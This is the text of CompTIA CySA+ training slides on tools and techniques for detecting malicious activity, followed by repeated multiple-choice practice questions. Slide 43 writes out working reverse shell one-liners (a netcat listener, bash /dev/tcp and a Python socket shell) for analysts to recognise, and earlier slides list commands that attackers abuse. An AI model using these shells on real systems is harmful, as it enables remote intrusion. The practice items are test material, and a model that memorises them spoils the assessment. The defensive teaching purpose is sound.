Cysa+ (CS0-003)
Applying Tools to Identify Malicious
Activity
Objective 1.3
Copyright © 2023 CompTIA, Inc. All Rights Reserved. | [Link]
1
2
Syllabus
3
Objectives
• Explore techniques used to identify malicious activity.
• Learn about command line tools used for domain analysis.
• Explore attack frameworks.
• Explore methods used in email analysis.
• Learn about frequently abused command line tools.
4
Identifying Malicious Activity
Copyright © 2023 CompTIA, Inc. All Rights Reserved. | [Link]
5
Explore Packet Capture Tools
(Screenshot: Wireshark [Link].) 6
Explore Packet Capture Tools cont.
The tcpdump tool in action. (Screenshot courtesy of CompTIA.)
7
Explore Packet Capture Tools cont.
Some important
tcpdump switches
8
Endpoint Detection and Response (EDR)
• Designed to provide proactive capabilities
• Combines traditional endpoint security with advanced analytics
• Provides real-time and historical visibility into a breach
• Facilitates remediation of a host to its original state
• EDR solutions help answer the question, "What happened?"
9
Endpoint Detection and Response (EDR)
10
Use Common Analysis Tools
Using the whois command with zshell. (Screenshot courtesy of CompTIA.)
11
Use Common Analysis Tools cont.
The strings command used to identify viewable character information contained within
an executable file. (Screenshot courtesy of CompTIA.) 12
Use Common Analysis Tools cont.
VirusTotal detection details for a malware test file. (Screenshot courtesy of VirusTotal.)
13
Sandboxing for Malware Analysis
• Joe Sandbox
• Cuckoo Sandbox
(Screenshot courtesy of Joe Security, LLC.)
14
Explore Security Information and Event Management (SIEM)
• Enhance incident detection and response capabilities
• Expanded insights into operational activity
• Collection, aggregation, and correlation of vast volumes of event
data
• Log analysis and activity auditing is significantly increased
• Help analysts quickly and effectively identify suspicious activity
15
Explore Security Information and Event Management (SIEM)
16
Explore Security Information and Event Management (SIEM) cont.
Using SIEM to locate unusual user account activity. (© 2023 Elasticsearch B.V., used here under license.) 17
Security Orchestration, Automation, and Response (SOAR)
• Automate routine tasks performed by security personnel
• Analyze alerts using various techniques defined via playbooks
• Use APIs, orchestration tools, and cyber threat intelligence (CTI)
feeds
• SIEM, EDR, XDR, MDR & SOAR | Cybersecurity Tools and Services | Threat Monitoring
[Link]
• Splunk SOAR [Link]
18
SOAR Runbook
19
Review Activity: Malicious Activity
1. Identify a command line packet capture utility for Linux.
2. Which website is popular to use to check for IP addresses
associated with malicious activity?
3. This technique describes isolating untrusted data in a closed
virtual environment to conduct tests and analysis.
20
Explaining Attack Methodology
Frameworks
Copyright © 2023 CompTIA, Inc. All Rights Reserved. | [Link]
21
Explore Kill Chain Concepts
22
Explore Kill Chain Concepts
23
Explore Kill Chain Concepts
24
Explore MITRE ATT&CK Framework
• Adversarial Tactics, Techniques, and Common Knowledge
(ATT&CK) matrices provide access to a
• Database of known tactics, techniques, and procedures (TTPs).
This
• Freely available resource ([Link])
• Tags each technique with a unique ID
• The sequence in which attackers deploy any tactic is not defined
25
Explore MITRE ATT&CK Framework cont.
MITRE ATT&CK navigator highlighting the TTPs of the threat group APT29 attributed to Russia's Foreign
Intelligence Service. (Screenshot courtesy of MITRE ATT&CK.)
26
Understand the Diamond Model of Intrusion Analysis
• A framework to analyze an intrusion event
• Explores the relationships among four core features:
27
Understand the Diamond Model of Intrusion Analysis cont.
(Image: Released to public domain by Sergio Caltagirone, Andrew Pendergast, and Christopher Betz
[[Link]/wp-content/uploads/2013/07/[Link]].)
28
Understand the Diamond Model of Intrusion Analysis cont.
Diamond Model attack graph example. (Image: released to public domain by Sergio Caltagirone,
Andrew Pendergast, and Christopher Betz [[Link]/wp-content/uploads/2013/07/
[Link]].) 29
Explore the Open-Source Security Testing Methodology Manual
• A comprehensive guide to security testing
• Set of procedures for managing operational security
• Can be downloaded from [Link]
30
Review Activity: Attack Methodology Frameworks
1. What is the second phase of the cyber kill chain?
2. This model defines a framework to analyze an intrusion event (E)
by exploring the relationships among four core features:
adversary, capability, infrastructure, and victim.
3. This framework provides a database of observed tactics,
techniques, and procedures (TTPs) of various threat actor groups.
31
Explaining Techniques for Identifying
Malicious Activity
Copyright © 2023 CompTIA, Inc. All Rights Reserved. | [Link]
32
Email Message Internet Header Analysis
• Recipient address and sender address
• Details of servers handling the message's transmission
• Check the sender is authorized for the domain
• Headers aren't exposed to the user by most email applications
• Can be difficult to identify where each part begins and ends
• [Link]
• [Link]
33
Email Malicious Content Analysis
• Malicious Payload
• Embedded Links
• Email Signature Block
• Malicious Attachments
34
Explore Email Server Security
• Sender Policy Framework (SPF)
• A DNS TXT record identifies a hosts authorized to send emails for a domain
• Emails commonly sent from different domains
• Marketing
35
Sender Policy Framework (SPF)
• SPF record: instructions
for email originating from a
location not in the record
• Reject them (-all)
• Flag them (~all)
• Accept them (+all)
36
Sender Policy Framework (SPF) cont.
• Misconfigured email servers are common
• Third-party tools are used for customer feedback and satisfaction
surveys without including them in their public SPF records.
• strictly enforced SPF checking often frustrates users
• The sender IP information needs to be analyzed (using tools such as
AbuseIPDB) to determine trustworthiness.
37
DomainKeys Identified Mail (DKIM)
Analysis of DMARC, SPF,
and DKIM properties of a
message sent by Adobe by
MXToolbox’s online
tool. Note that DKIM
signature validation shows
a failure. This is because
the message body was
not available for the tool to
validate. (Screenshot MX
Toolbox
[Link]/EmailHead
[Link].)
(Screenshot MX Toolbox [Link]/[Link])
38
Domain-based Message Authentication, Reporting, and Conformance (DMARC)
Analyze Email Monitoring Output: 1.
Sender’s organization publishes Sender
Policy Framework (SPF), DomainKeys
Identified Mail (DKIM), and Domain-
based Message Authenticity, Reporting,
and Conformance (DMARC) records to
DNS server, 2A.
Sender Message Transfer Agent (MTA)
forwards message with SPF/DKIM
header,
2B. Adversary spoofs sender’s domain,
3. Recipient MTA processes messages,
4. Recipient looks up sender DMARC
policy and SPF/DKIM records via DNS,
5A.
Legitimate message placed in recipient's
mailbox on IMAP server, 5B.
Rejected message deleted or
quarantined, 6. Failure reporting to
(Image © [Link].) sender MTA. (Image © [Link].)
39
Interpreting Suspicious Commands
Important Linux Commands used in attacks
Command Description
ssh Used to remotely access a server and obtain shell access
wget Used to interact with a web server using a command line interface.
curl Similar to wget but includes more functionality.
telnet A cleartext protocol used to remotely access a server
ftp A cleartext protocol used to perform file transfer
arp or ss Used to identify physical addresses of hosts.
ip or ifconfig Used to identify and change network configuration information
whoami Used to identify the current session user
netstat Used to display network activity, in particular active IP addresses and ports.
40
Interpreting Suspicious Commands cont.
Important Windows Commands used in attacks
Command Description
netstat Used to display network activity, in particular active IP addresses and ports.
ping Used to test connectivity among network devices, can also be abused to carry data.
ipconfig Used to display IP address configuration information.
nslookup Used to interact with DNS using the command line.
tasklist Used to display the processes running on a system.
net <option> The net command is used to perform many administrative tasks.
netsh Allows local and remote configuration of network-related services.
wmic A command line interface to Windows Management Instrumentation (WMI).
41
Interpreting Suspicious Commands cont.
Important PowerShell Commands used in attacks
Command Description
Invoke-Request Used to remotely issue commands to a Windows system.
Invoke-WebRequest Used to interact with a system using HTTP or HTTPS.
DownloadString Used to download information from a web server, such as a malicious script
or payload.
Start-Process Starts a new process, often to load malware or a rouge process.
Get-WMIObject Used to collect information from a host using Windows Management
Instrumentation (WMI).
Get-Process Used to display processes configured on a system.
42
Interpreting Suspicious Commands cont.
Reverse Shells commands used in attacks
Command Description
netcat listener nc -lvnp 8181
bash shells bash -i >& /dev/tcp/[Link]/8181 0>&1
/bin/bash -l > /dev/tcp/[Link]/8181 0<&1 2>&1
Python export RHOST="[Link]";export RPORT=8181;python -c 'import
socket,os,pty;s=[Link]();[Link](([Link]("RHOST"),int([Link]("RP
ORT"))));[os.dup2([Link](),fd) for fd in (0,1,2)];[Link]("/bin/sh")'
43
Explore Abnormal Activity
• Abnormal Account Activity
• A user account with set working hours being used during the night
• A user account made for desktop computers being used on a server
computer
• A new user account created on a local computer
• A new account created by a user without authorization to create accounts
• A user account added to a group unexpectedly or added by an unauthorized
individual
44
Explore Abnormal Activity cont.
• Abnormal Behavior and Patterns
• Communication between a device and a remote host every two minutes
• Abnormal protocol activity such as gigabytes of DNS traffic
• Ping requests that do not receive responses or have unusual packet sizes
45
Explore Abnormal Activity cont.
• Abnormal Behavior and Patterns
• Communication with known malicious IP address or domain name
• Evidence of traffic on ports associated with C2 traffic
• Encoded communications and commands
• A user received an email with a suspicious link, visited the site, launched an
executable, and established a connection to a system on the Internet
46
User and Entity Behavior Analytics (UEBA)
• Identify malicious behaviors with comparison to a baseline
• Track user account behavior across devices and cloud services
• Dependent on AI and machine learning
47
Review Activity: Techniques for Identifying Malicious Activity
1. This describes a special DNS TXT record used to identify the hosts
authorized to send emails for a domain.
2. This provides a cryptographic authentication mechanism for DNS
and supplements SPF.
3. What PowerShell command is often used by attackers to
download malicious files and scripts from a web server?
48
Review Activity:
Review @ 1110 PM Eastern
49
A network administrator has received reports of intermittent connectivity
issues. To diagnose the problem, the network administrator has decided to
use tcpdump. Which of the following are the primary functionalities of using
tcpdump in this scenario? (Select the two best options.)
A. To monitor network performance and bandwidth usage
B. To capture and analyze network packets for troubleshooting
purposes
C. To detect and prevent malicious activity on the network
D. To implement network-based firewall rules
50
A network administrator has received reports of intermittent connectivity
issues. To diagnose the problem, the network administrator has decided to
use tcpdump. Which of the following are the primary functionalities of using
tcpdump in this scenario? (Select the two best options.)
A. To monitor network performance and bandwidth usage
B. To capture and analyze network packets for troubleshooting
purposes
C. To detect and prevent malicious activity on the network
D. To implement network-based firewall rules
51
A security analyst is responsible for detecting and responding to
security incidents in the organization. The security analyst has
decided to implement a security orchestration, automation, and
response (SOAR) platform. What is the primary purpose of using a
SOAR platform in this scenario?
A. To automate incident responses
B. To provide real-time threat intelligence to security teams
C. To store and manage security-related data
D. To monitor and control access to sensitive information
52
A security analyst is responsible for detecting and responding to
security incidents in the organization. The security analyst has
decided to implement a security orchestration, automation, and
response (SOAR) platform. What is the primary purpose of using a
SOAR platform in this scenario?
A. To automate incident responses
B. To provide real-time threat intelligence to security teams
C. To store and manage security-related data
D. To monitor and control access to sensitive information
53
A security analyst in a large organization observes a recent spike in security
incidents. To enhance the endpoint security strategy, an endpoint detection
and response (EDR) solution is implemented. Which of the following best
describes the key feature of EDR and how it helps the security analyst detect
and respond to malicious activity in the organization's network?
A. Automates security-related tasks
B. Provides real-time visibility into endpoint activity
C. Integrates with other security solutions
D. Performs forensic analysis on endpoints
54
A security analyst in a large organization observes a recent spike in security
incidents. To enhance the endpoint security strategy, an endpoint detection
and response (EDR) solution is implemented. Which of the following best
describes the key feature of EDR and how it helps the security analyst detect
and respond to malicious activity in the organization's network?
A. Automates security-related tasks
B. Provides real-time visibility into endpoint activity
C. Integrates with other security solutions
D. Performs forensic analysis on endpoints
55
A financial organization is dealing with a sudden rise in security
incidents. The security analyst has discovered a malware strain
behind the incidents. To study its behavior and find a solution, the
analyst decides to use a specific tool to isolate and analyze malware
behavior. What tool is the analyst using?
A. ScoutSuite
B. Prowler
C. Cuckoo
D. Pacu
56
A financial organization is dealing with a sudden rise in security
incidents. The security analyst has discovered a malware strain
behind the incidents. To study its behavior and find a solution, the
analyst decides to use a specific tool to isolate and analyze malware
behavior. What tool is the analyst using?
A. ScoutSuite
B. Prowler
C. Cuckoo
D. Pacu
57
A security analyst has received a suspicious email that appears to be
from a recognized address. The analyst needs to determine if the
email is legitimate or not. Which of the following email analysis
techniques would be the most appropriate for the security analyst to
use in this scenario?
A. JavaScript Object Notation (JSON)
B. Multipurpose Internet Mail Extensions (MIME)
C. Simple Mail Transfer Protocol (SMTP)
D. DomainKeys Identified Mail (DKIM)
58
A security analyst has received a suspicious email that appears to be
from a recognized address. The analyst needs to determine if the
email is legitimate or not. Which of the following email analysis
techniques would be the most appropriate for the security analyst to
use in this scenario?
A. JavaScript Object Notation (JSON)
B. Multipurpose Internet Mail Extensions (MIME)
C. Simple Mail Transfer Protocol (SMTP)
D. DomainKeys Identified Mail (DKIM)
59
An e-commerce company has recently experienced a series of
phishing attacks targeting its employees. The company tasks the
security team with implementing a solution to prevent email spoofing
and protect against future phishing attempts. Which of the following
technologies would be the most effective at achieving this goal?
A. Two-factor authentication
B. DNS-based Authentication of Named Entities (DANE)
C. Sender Policy Framework (SPF)
D. Public key infrastructure (PKI)
60
An e-commerce company has recently experienced a series of
phishing attacks targeting its employees. The company tasks the
security team with implementing a solution to prevent email spoofing
and protect against future phishing attempts. Which of the following
technologies would be the most effective at achieving this goal?
A. Two-factor authentication
B. DNS-based Authentication of Named Entities (DANE)
C. Sender Policy Framework (SPF)
D. Public key infrastructure (PKI)
61
A network administrator at a small business is concerned about the increasing
number of phishing attacks that are targeting the organization's employees. The
administrator wants to implement a solution to help protect the organization from
these types of attacks. Which of the following solutions would be the most
appropriate for the network administrator to use in this scenario?
A. Sender Policy Framework (SPF)
B. Domain-based Message Authentication, Reporting, and Conformance
(DMARC)
C. DomainKeys Identified Mail (DKIM)
D. Transport Layer Security (TLS)
62
A network administrator at a small business is concerned about the increasing
number of phishing attacks that are targeting the organization's employees. The
administrator wants to implement a solution to help protect the organization from
these types of attacks. Which of the following solutions would be the most
appropriate for the network administrator to use in this scenario?
A. Sender Policy Framework (SPF)
B. Domain-based Message Authentication, Reporting, and Conformance
(DMARC)
C. DomainKeys Identified Mail (DKIM)
D. Transport Layer Security (TLS)
63
A security analyst at a large organization is investigating a recent cyber
attack. The analyst needs to determine the most comprehensive framework
for analyzing the attack and understanding the different stages of the attack.
Which of the following frameworks would be the most comprehensive for the
security analyst to use in this scenario?
A. Cyber kill chain
B. Diamond model
C. National Institute of Standards and Technology (NIST)
D. SANS
64
A security analyst at a large organization is investigating a recent cyber
attack. The analyst needs to determine the most comprehensive framework
for analyzing the attack and understanding the different stages of the attack.
Which of the following frameworks would be the most comprehensive for the
security analyst to use in this scenario?
A. Cyber kill chain
B. Diamond model
C. National Institute of Standards and Technology (NIST)
D. SANS
65
A security analyst at a large organization is investigating a recent
cyber attack. The analyst needs to determine the most appropriate
framework for analyzing the attacker's tactics, techniques, and
procedures (TTPs). Which of the following frameworks would be the
most appropriate for the security analyst to use?
A. Cyber kill chain
B. MITRE ATT&CK
C. SANS
D. National Institute of Standards and Technology (NIST)
66
A security analyst at a large organization is investigating a recent
cyber attack. The analyst needs to determine the most appropriate
framework for analyzing the attacker's tactics, techniques, and
procedures (TTPs). Which of the following frameworks would be the
most appropriate for the security analyst to use?
A. Cyber kill chain
B. MITRE ATT&CK
C. SANS
D. National Institute of Standards and Technology (NIST)
67
A network administrator at a large business is performing a security
assessment of the company's network infrastructure. The administrator must
determine the most appropriate framework for conducting a comprehensive
security assessment. Which of the following frameworks would be the most
appropriate for the network administrator?
A. National Institute of Standards and Technology (NIST) Cybersecurity
Framework
B. Federal Information Security Management Act (FISMA)
C. Open Source Security Testing Methodology Manual (OSSTMM)
D. International Organization for Standardization (ISO) 27001/27002
68
A network administrator at a large business is performing a security
assessment of the company's network infrastructure. The administrator must
determine the most appropriate framework for conducting a comprehensive
security assessment. Which of the following frameworks would be the most
appropriate for the network administrator?
A. National Institute of Standards and Technology (NIST) Cybersecurity
Framework
B. Federal Information Security Management Act (FISMA)
C. Open Source Security Testing Methodology Manual (OSSTMM)
D. International Organization for Standardization (ISO) 27001/27002
69
An organization plans to conduct a security assessment and wants to utilize
a comprehensive and open framework to guide the assessment process.
Which of the following attack methodology frameworks would assist the
organization in their assessment?
A. Open Web Application Security Project (OWASP) Top Ten
B. MITRE ATT&CK
C. National Institute of Standards and Technology (NIST) Cybersecurity
Framework
D. Open Source Security Testing Methodology Manual (OSSTMM)
70
An organization plans to conduct a security assessment and wants to utilize
a comprehensive and open framework to guide the assessment process.
Which of the following attack methodology frameworks would assist the
organization in their assessment?
A. Open Web Application Security Project (OWASP) Top Ten
B. MITRE ATT&CK
C. National Institute of Standards and Technology (NIST) Cybersecurity
Framework
D. Open Source Security Testing Methodology Manual (OSSTMM)
71